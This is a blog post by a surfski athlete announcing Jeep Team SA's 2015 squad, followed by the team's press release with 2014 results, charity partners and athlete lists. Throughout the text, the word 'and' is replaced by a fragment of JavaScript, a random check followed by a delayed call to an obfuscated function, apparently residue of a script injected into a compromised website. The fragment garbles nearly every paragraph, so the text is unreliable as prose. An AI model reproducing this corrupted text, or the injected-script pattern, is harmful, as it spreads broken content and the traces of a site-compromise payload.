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    JEEP TEAM ANNOUNCES ITS FORMIDABLE 2015 SQUAD

    Written by Barry Lewin on . Posted in Racing

    I have been a Jeep Team SA athlete for over 10 years andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and am very proud of my long relationship with such a professional outfit. The team has been an amazing system to helping make dreams a reality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in turn become my second family.

    Jeep Team announced their line up of athletes for 2015 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am really excited to be involved in the team going forward. There has been some changes in the team’s focus which includes more sports like the exciting obstacle racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the influx of new sponsors Jeep Vehicles.

    The line up is a lot smaller than in the past but wow, we have some amazing athlete onboard for the year. I am really excited about working with the Jeep Team management to get the most out of my paddling as well as inspiring the rest of the team to bring home some awesome results.

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    Here is the official story from Jeep Team. For more in visit www.teamjeep.co.za

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    PIETERMARITZBURG, SOUTH AFRICA, January 2015 – Jeep Team SA is going to be a force to be reckoned with in 2015 as they announce a change in focus to Junior, Under 23 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Elite sports men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women by forming a smaller, more compact squad of 15 world-beating, South African athletes.

    Started in 2001 as an adventure racing team of six athletes, Jeep Team SA has become one of the most successful teams of its kind, producing local, national andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and world champions across eight sports disciplines – Adventure Racing, Mountain Biking, BMX, Surfski, Canoeing, Multisport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Extreme Sport with Trail Running andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Obstacle Course Racing (OCR) added to the 2015 portfolio with the explosion of these two sporting codes across South Africa.

    Says Max Cluer, co-founder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and manager of Jeep Team SA, “Jeep Team SA continues to evolve in 2015 with a whole new look andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel. The core focus will be on showcasing up-andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-coming Junior athletes while continuing to mentor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and work with the Under 23 athletes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Elite athletes at the top of their game while teaching them the business of sport, media, sponsorships andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relationships.

    “We’ve re-signed a new three-year contract with our Title Partners Jeep Apparel SA andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jeep Vehicles – ensuring incredible support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and security in the years ahead for Jeep Team SA. Jeep has been supporting us now for nearly 14 years, which is nearly unheard of in modern day sponsorships. We are fortunate to have such an incredible relationship with them where they understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our passion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vision for the team andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they support us 100%.”

    2014 in review:

    In 2014, the Team achieved success across all disciplines. Highlights include Jeep Team’s Hank McGregor rewriting the history books in September by becoming the first South African paddler to win both K1 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and K2 gold medals at the ICF Canoe Marathon World Championships in the United States.

    Hank McGregor_Jeep Team

    Barry Lewin continues to impress with his vast experience andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and media presence in the world of paddling with his core focus on surfski both locally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and internationally. He continues to travel around the world on his quest to document andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and compete in the sport that he loves so much while still remaining competitive in the elite bunch.

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    Jeep Team’s rising multisport star, Mikaela Jonsson (17), won the KZN Triathlon Championships in the Junior category, finished on the podium at both the ATU Cross Tri andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and SA Triathlon Championships, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and represented South Africa at the ITU Cross Tri World Champs in Germany.

    Jeep Team mountain biker, Matthew Beers (20), was crowned overall U23 winner of the MTN National MTB Series, with Pierre Smith (22) finishing second. Seventeen-year-old Julian Jessop is the 2014 SA Junior MTB Marathon Champion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2014 Junior SA Cup Series winner in the competitive cross-country discipline, while his younger brother, Tom Jessop, is currently SA’s Youth Marathon champion. Gregg Brown represented South Africa at the UCI MTB World Championships in Hafjel, Norway, while Dylan Rebello took part in 2 UCI MTB World Cup Races in Germany andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Czech Republic.

    In BMX, Jeep Team’s youngest athlete, Alex Dolman (15), was named Gauteng’s BMX Provincial Champion for 2014, won both the South African andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and All African Continental Championships andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and represented South Africa at the UCI BMX World Championships in Rotterdam, Hollandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.

    Jeep Team CSI

    The team continues their support of Qhubeka andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and remains firm on their stance of zero tolerance in sport surrounding doping andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and drugs in sport with their allegiance to Bike Pure.

    Qhubeka is a South African NPO that helps disadvantaged communities “move forward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and progress” by giving them bicycles in return for work done to improve communities, the environment or academic results. Since 2005, the NPO has distributed 51 000 bikes to people across South Africa.

    Bike Pure is a global NPO that promotes honest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ethical cycling. The organisation has become the independent voice for honest, ethical cycling on a global scale, sending a powerful message that athletes don’t have to resort to taking illegal performance-enhancing drugs to compete.

    Jeep Team “Ghost Athlete” Program

    In 2015 a “Ghost Athlete” Program will also be introduced into the Jeep Team stable whereby elite athletes, celebrities or specialist athletes will be brought into the team for a short period of time under ring-fenced terms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and conditions. The first athlete to fill this position in 2015 is the talented actress, DJ andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and athlete, Hlubi Mboya, who will be representing the team in the Jeep Warrior Race Series.

    The seven new athletes on Jeep Team SA are:

    Michael Lord, Multisport
    Dominique D’Oliveira, OCR andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running
    Claudia Richard, OCR andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running
    Thomas van Tonder, OCR andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running
    Jay Jay Deysel, OCR andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running
    Thinus Redelinghys, MTB Marathon
    Kyle Dodd, BMX

    The seven returning athletes are:

    Dylan Rebello, MTB Cross-country andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marathon
    Pierre Smith, MTB Marathon
    Gregg Brown, MTB Downhill
    Alex Dolman, BMX
    Mikaela Jonsson, Multisport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running
    Barry Lewin, Surfski
    Hank McGregor, Surfski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Canoeing
    “Ghost Athlete”
    Hlubi Mboya, OCR

    Have a look at the following platforms to keep up to date with the Jeep Team SA’s antics in 2015.

    Website: www.jeepteam.co.za
    Facebook: www.facebook.com/jeepteamsa
    Twitter: @jeepteamsa
    Instagram: JeepTeamSA

    Jeep Team SA Title Partners:

    Jeep Apparel
    Jeep Vehicles

    Jeep Team SA Partner:

    Salomon

    Jeep Team SA Product Partners:

    Puermotion Sports (POC, ICEdot & Muc-off)

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    Schwalbe
    GoPro & RED-E
    Thule

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